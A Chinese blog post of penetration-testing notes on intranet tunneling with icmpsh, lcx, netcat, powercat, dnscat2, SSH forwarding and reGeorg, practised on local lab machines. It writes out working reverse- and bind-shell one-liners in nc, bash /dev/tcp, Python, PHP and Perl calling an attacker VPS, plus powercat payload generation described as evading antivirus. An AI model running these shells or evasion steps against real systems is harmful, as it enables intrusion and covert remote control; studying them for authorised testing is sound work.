三层隧道

于 2024-07-21 22:46:00 发布
阅读量844 收藏 6
点赞数 17
分类专栏： 内网 文章标签： 内网
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_52579508/article/details/140595521
版权

网络层隧道

1.IPv6隧道
2.ICMP隧道
ICMP隧道工具有 PingTunnel，icmptunnel，lcmpsh,powershell icmp等
A.icmpsh
B.pingtunnel

icmpsh

https://github.com/bdamele/icmpsh
image.png

:::info
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh m.py IP(公网) IP(内网)
icmpsh.exe -t 公网IP -d 500 -b 30 -s 128
:::
使用本地模拟 ICMP
:::info
kali 192.168.145.130
win10 192.168.145.129
:::
image.png
image.png
image.png
全都是ICMP包的数据 ，证明是使用ICMP传输的

传输层隧道

Icx端口转发

:::info
1.Icx端口转发
A.内网端口转发
目标机器:
Icx.exe -slave 公网主机ip 4444 127.0.0.1 3389
VPS:
Icx.exe -listen 4444 5555

B.本地端口映射
lcx -tran 53目标主机ip 3389

没有找到exe 的 找一个 使用go开发的
https://github.com/cw1997/NATBypass
:::

netcat

端口扫描

nc -v -z 192.168.145.129 1-3389
image.png
这些是不存在的端口
这是存在的端口
image.png
也可以使用
nc -nv 192.168.145.129 1-80
扫描到还会返回网页数据
image.png

正向连接

正向连接

服务器执行：
nc -l -p 8888 -e cmd.exe  //windows
nc -lvp 8888 -e /bin/sh  //linux

本地主机执行：nc -vv 服务器ip 8888

反向shell

存在NC ，而且存在-e 参数

vps攻击机：nc -lvp 9999      // 监听9999端口
靶机：
nc 1.1.1.1 9999 -e /bin/bash  // Linux正向连接公网vps1.1.1.1的9999端口
nc 1.1.1.1 9999 -e cmd.exe  // Windows

不存在NC

vps攻击机：
nc -lvp 6666
靶机：
bash -I >& /dev/tcp/1.1.1.1/6666 0>&1   //而且是linux

存在python 环境

vps攻击机：nc -lvp 6666
靶机：python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.1",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

存在PHP环境

vps攻击机：nc -lvp 6666
靶机：php -r '$sock=fsockopen("192.168.145.129",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

存在Perl环境

Vps攻击机：nc -lvp 6666
靶机：perl -e 'use Socket; $i="192.168.32.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'=

文件传输

发送端

nc -v 接收端的ip 端口号<被传输文件名
nc -v 0.0.0.0  9999 < test.jar

接收端

nc -l -v 端口号>要写入的文件名（跟被传输文件名可以不一样）
nc -l -v 9999 > test1.jar

但是貌似不行，没-e参数
传过来了是这么个数据
image.png

nc作为代理

使用nc作为一个简单的端口转发

ncat -l 8080 | ncat 192.168.1.1 80

命令实现单向的转发，将链接到本机8080的连接转发到192.168.1.1:80
实现双向管道

mkfifo 2way
ncat -l 8080 0<2way | ncat 192.168.0.1.1 1>2way

powercat

:::info
下载 powercat
https://github.com/besimorhino/powercat
导入 powercat
先设置权限
Set-ExecutionPolicy Unrestricted
再导入
Import-Module .\powercat.psl
查看帮助 -h
powercat -h
:::

PowerCat常用命令：
-l 监听模式
-c连接到侦听器 
-p要连接或监听的端口 
-e执行 
-ep执行Powershell 
-r中继。格式"-r tcp: 10.1.1.1:443"
-u通过UDP传输数据
-dns通过dns传输数据 -dnsftNDS故障阀值 
-t超时选项。默认：60 -I输入：文件路径，字节数组或字符串 
-o控制台输出类型：''主机'',''字节'',''字符串'' 
-of输出文件路径 
-d连接后断开连接 
-rep中继器。断开连接后重启
-g生成有效载荷 
-ge生成编码有效载荷 
-h打印帮助信息

powercat 正向连接

powercat -l -p 4444 -e cmd -v

image.png
nc 连接
nc 192.168.145.129 4444
image.png

powercat 反向连接

nc -l -p 8080 -vv
image.png
Windows 端
powercat -c 172.23.85.7 -p 8080 -v -e cmd.exe
image.png

win7反向连接win2008 并返回Powershell

win7 执行
powercat -l -p 8080 -v
win 2008 执行
powercat -c 192.168.145.10 -p 8080 -v -ep

Powercat 文件传输

win7 执行
powercat -l -p 8080 -of 路径 -v
win2008
powercat -c 192.168.145.10 -p 8080 -i 路径 -v

Powercat 生成 payload（躲避杀软）

win7
powercat -l -p 8080 -e cmd -v -g >>shell.ps1
或者
powercat -l -p 8080 -e cmd -v -ge
这样会生成编码
可以在 08 执行
powercat -E 生成后的编码
win2008
./shell.ps1

Powercat - DNS协议（DNSCAT）

下载dnscat

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

再进入 server

cd dnscat2/server/
gem install bundler
bundle install

linux 端
ruby dnscat2.rb test.test -e open --no-cache
image.png

windows端
powercat -c 172.23.85.7 -p 53 -dns test.test -e cmd
image.png
就会返回linux 端
image.png
输入
session -i 1
进行连接
image.png
因为是dns 所以反应比较慢

powercat 转发

win08
powercat -l -v -p 9999 -e cmd
win7
powercat -l -v -p 8000 -r tcp:192.168.145.129:9999
linux
nc 172.23.85.7 8000 -vv

应用层隧道

SSH隧道

:::info
SSH协议原理
SSH中间人攻击原理
SSH隧道技术3种转发原理
三种转发技术的应用场景分析
动态转发的衍生利用技术
·本地端口转发+远程端口转发的应用场景
:::
在应用层的隧道通信技术是利用应用软件提供的端口发送数据，常用的隧道协议是SSH、 HTTP、 HTTPS和DNS。
image.png
image.png
大概理解为：
本质上就是端口转发。它能够将其他 TCP 端口的网络数据通过 SSH 链接来转发，并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”（tunneling），这是因为 SSH 为其他 TCP 链接提供了一个安全的通道来进行传输而得名。 SSH 端口转发能够提供两大功能： 1.加密 SSH Client 端至 SSH Server 端之间的通讯数据。 2.突破防火墙的限制完成一些之前无法建立的 TCP 连接。

SSH 配置文件

image.png
ssh 常用命令参数
:::info
创建隧道常用的参数说明：
-C：压缩传输，提高传输速度
-f：将ssh转入后台执行，不占用当前的shell
-N：建立静默连接（不回显ssh页面）
-g：允许远程主机连接本地用于端口转发的端口
-L：本地端口转发
-R：远程端口转发
-D：动态端口转发（socket代理）
-p：指定ssh端
:::

本地转发和远程转发

SSH 端口转发自然需要 SSH 连接，而 SSH 连接是有方向的，从 SSH Client 到 SSH Server 。而我们的应用也是有方向的，比如需要连接 LDAP Server 时，LDAP Server 自然就是 Server 端，我们应用连接的方向也是从应用的 Client 端连接到应用的 Server 端。如果这两个连接的方向一致，那我们就说它是本地转发。而如果两个方向不一致，我们就说它是远程转发。 另一个方便记忆的方法是，Server 端的端口都是预定义的固定端口（SSH Server 的端口 22，LDAP 的端口 389），而 Client 端的端口都是动态可供我们选择的端口（如上述例子中选用的 7001 端口）。如果 Server 端的两个端口都在同一台机器，Client 端的两个端口都在另一台机器上，那么这就是本地连接；如果这四个端口交叉分布在两个机器上，每台机器各有一个 Server 端端口，一个 Client 端端口，那就是远程连接

本地端口转发

:::info
ssh -L 本地端口:目标主机:目标端口 jump
ssh -L 2121:1.1.10:21 root@192.168.1.11
:::

都挺简单，由于 命令就几条，但是要配置环境就没去配置了
参考 ：
https://blog.csdn.net/weixin_42742658/article/details/122735119
https://zhuanlan.zhihu.com/p/513691592
https://blog.csdn.net/qq_38844490/article/details/126776873

HTTP协议 —reGeorg隧道

reGeorg 简介
隧道工具 — reGeorg
https://github.com/sensepost/reGeorg
image.png
reGeorg 是一个内网穿透工具，基于 socks5，而且支持众多脚本。因为使用频繁，所以较多的杀软都会拦截，需要做免杀处理。
免杀 版本reG 下载地址：https://github.com/L-codes/Neo-reGeorg
此工具还做了加密，所以很多特征都没有了
-------------------------------------------------------------------------------------------------------------------
把其中的脚本放在目标主机上
这里把 tunnel.php 放在目标主机中 ，
image.png
这个文件似乎有点问题 换成 tunnel.nosocket.php
image.png
连接上了
配置socks代理
vim /etc/proxychains4.conf
image.png
image.png

成功执行

DNS 隧道工具

iodine ：
https://github.com/yarrick/iodine
dnscat：
https://github.com/iagox86/dnscat2

隧道技术的优势和劣势

image.png

小龙_(R0 Team)
关注
  • 17
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Linux 虚拟化网络技术 — 虚拟二层网卡（Tap）与虚拟三层隧道网卡（Tun）
烟云的计算
07-10 4363
目录 文章目录目录虚拟二层网卡（Tap）与虚拟三层隧道网卡（Tun）tap/tun 作为用户空间与内核空间的数据传输通道tap/tun 与内核网络协议栈的数据传输 虚拟二层网卡（Tap）与虚拟三层隧道网卡（Tun） tap/tun 是 Linux 内核 2.4.x 版本之后加入的虚拟网络设备，不同于物理网卡靠硬件网路板卡的实现方式，tap/tun 虚拟网卡完全由内核软件来实现的，是一种让用户态程序向内核协议栈注入数据的设备。tap 工作在二层（数据链路层）而 tun 工作在三层（网络层）。功能和硬件实现完全
旁挂式三层组网隧道转发
yao12_的博客
01-23 672
ac+ap，旁挂式三层组网隧道转发
WLAN实验-旁挂三层组网隧道转发
qq_45959697的博客
03-20 1万+
旁挂三层组网隧道转发
WLAN配置三层旁挂隧道转发
qq_44751470的博客
06-10 2659
示例图 一、实验目的 1、配置三层旁挂AC隧道转发 二、注意事项 三、简单查询 四、简单配置 LSWA sysname LSWA # vlan batch 100 to 102 # interface GigabitEthernet0/0/1 port link-type trunk port trunk allow-pass vlan 100 to 102 # interface GigabitEthernet0/0/2 port link-type trunk port trunk pvid v
GRE 三层隧道封装配置
weixin_34233856的博客
11-16 1269
实验拓扑图 1.实验说明：路由器site1和site2分别模拟公司的两个站点，1.1.1.0/24和2.2.2.0/24分别模拟两个站点的内部网络；路由器ISP模拟服务商路由器。 通过GER技术在site1和site2之间建立一个点对点的GRE隧道，并在GRE隧道口上运行OSPF，以学习彼此的内部网络路由。 2.基本网络配置 Site1...
VXlan隧道三层网关功能对接华为设备测试
wsq的博客
08-30 990
vxlan隧道三层网关测试
WLAN配置实例（二）——三层组网隧道转发
永远是少年
09-19 5943
今天继续给大家介绍WLAN，本文主要使用华为eNSP模拟器，实现了Fit AP架构下WLAN三层组网CAPWAP隧道转发的配置实例。 推荐阅读： WLAN配置实例（一）——二层组网直接转发 上一篇文章中与本实验有较大的重叠，关于上一篇实验与本实验重叠的部分，在本文中就不过多介绍，因此，如果您对Fit AP配置还存在疑惑，欢迎查阅上一篇文章。 一、实验拓扑及要求 实验拓扑如上图所示，现在要求按照图中要求配置Fit AP架构中三层组网隧道转发，DHCP服务器为LSW1，AP与AC之间处于不同的VLAN之内不能
由浅入深玩转华为WLAN—-7 旁挂+三层+隧道转发方式组网
网络之路Blog（其他平台同名）
03-07 6001
说明 WLAN配置示例2（旁挂组网隧道 or 直接转发），这种方式比较适合中小型企业，AC旁挂在三层交换机旁边，只是用于来与AP建立CAPWAP隧道，下发业务给AP，如果在隧道方式下的话，那么业务流量也会由CAPWAP隧道进行封装交给AC处理，再由AC来转发，而直接转发的话，则由AP本地交换了，不需要交给AC，这样可以减轻AC的负担，具体使用可以根据需求来决定。 掌握目标 1、理解旁挂组网与直接 or隧道转发的方式 2、AP静态关联AC的方法【补充，之前都是以动态或者option43方式】 3、三层.
基于华为WAC双机VRRP热备份下旁挂三层组网隧道转发模式解决方案
m0_46129105的博客
07-11 1290
(1) 本案例是旁挂三层组网，隧道转发模式，AP与WAC之间是CAPWAP隧道，业务数据流量通过CAPWAP隧道转发； 其中ap管理vlan为10，业务vlan为500；(2) Master WAC和Backup WAC之间起VRRP双机热备份,VLAN为100，其中： Master VRRP IP:192.168.1.11/24 Backup VRRP IP:192.168.1.21/24 VRRP Virtual-IP:192.168.1.1/24 WAC上capwap隧道的source ip add为
ensp 三层架构配置
热门推荐
lik_lik的博客
06-24 1万+
三层架构 使用到的技术： 多区域 ospf dhcp nat 端口映射 gre over ipsec 配置前，验证两端是否互通 需求 接入层 jieruA sys sysname jieruA # 创建vlan vlan batch 10 20 200 # 分配Access 端口 int e0/0/1 port link-type access port default vlan 10 # trunk int e0/0/2 port link-ty
由浅入深玩转华为WLAN----7 旁挂+三层+隧道转发方式组网1
08-03
总结：本文详细介绍了华为WLAN的旁挂组网方式，包括直接转发和隧道转发的特点，以及如何配置AP静态关联AC、三层交换机和AC。同时，也探讨了如何通过ACL来限制客户端流量，以满足不同规模企业的需求。对于网络管理员...
由浅入深玩转华为WLAN----7 旁挂+三层+隧道转发方式组网.zip
05-29
在深入探讨华为WLAN的旁挂加三层及隧道转发方式组网之前，我们先要理解基本的无线局域网（WLAN）概念。WLAN是通过无线信号在局部区域建立的网络，允许设备无需物理连接即可接入网络。华为作为全球领先的网络解决方案...
网络隧道
02-14
2. 第三层隧道协议：如IPSec（互联网安全协议）和SSL/TLS（安全套接字层/传输层安全），这些协议在IP层进行封装，提供加密和身份验证功能，广泛应用于VPNs。 3. 第四层隧道协议：如GRE（通用路由封装）和NAT-PMP...
ensp无线网-实验三 WLAN旁路二层隧道转发（简单实验）
07-04
**WLAN二层组网**是指在无线局域网中，采用二层架构进行通信，即设备之间通过MAC地址直接进行通信，无需经过路由器的三层寻址。这种组网方式简化了网络结构，但可能增加广播流量并限制了网络的扩展性。在这个实验中...
物联网工程_基于RFID的食堂食品安全监测系统设计.docx
07-20
物联网工程_基于RFID的食堂食品安全监测系统设计
VisualSVN-VS2022
最新发布
07-20
VisualSVN-VS2022-8.0.5.vsix SVNVS插件，使用VS自带更新速度太慢，可下载后直接安装即可
基于PSO优化的BP神经网络训练与测试matlab仿真，包括程序，注释，参考文献，操作步骤
07-20
1.版本：matlab2022A。 2.包含：程序，中文注释，参考文献，仿真操作步骤（使用windows media player播放）。 3.领域：PSO优化的BP神经网络 4.仿真效果：仿真效果可以参考博客同名文章《基于PSO优化的BP神经网络训练与测试matlab仿真》 5.内容：基于PSO优化的BP神经网络训练与测试matlab仿真。粒子群优化（Particle Swarm Optimization, PSO）结合BP（Backpropagation）神经网络是一种常见的优化方法，用于提升神经网络的学习能力和泛化能力。PSO不仅帮助BP神经网络找到了一个较好的初始解，从而可能加快了训练过程并提高了最终模型的质量，而且还能探索到更广泛的解空间，有助于避免局部最优解。 6.注意事项：注意MATLAB左侧当前文件夹路径，必须是程序所在文件夹位置，具体可以参考视频录。
超详细讲C++cout语句
07-20
超详细讲C++cout语句，专门为C++初学者录制。
ac旁挂三层隧道转发
08-29
您好！对于AC旁挂三层隧道转发，我理解您是在AC（Access Controller，接入控制器）旁边配置一个三层隧道来进行转发。这种配置通常在网络中用于将不同的子网连接起来，实现跨子网的通信。下面是一种常见的实现方式： 1. 配置隧道接口：在AC旁边配置一个隧道接口，用于连接其他子网。可以使用虚拟接口（如SVI，Switched Virtual Interface）或物理接口（如子接口）来实现。 2. 配置隧道协议：选择适合的隧道协议，常见的有GRE（Generic Routing Encapsulation）、IPsec（Internet Protocol Security）等。配置隧道协议需要指定隧道的源地址、目的地址和密钥等参数。 3. 配置路由：在AC上配置路由，将其他子网的路由信息添加到路由表中。这样AC就能够将来自其他子网的数据包转发到隧道。 4. 配置ACL（Access Control List）：根据需求，配置ACL来限制隧道中的数据包流量。 需要注意的是，具体的配置方式可能因不同厂商设备和网络环境而有所差异。建议您参考相关设备的文档或咨询网络专家进行详细配置。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值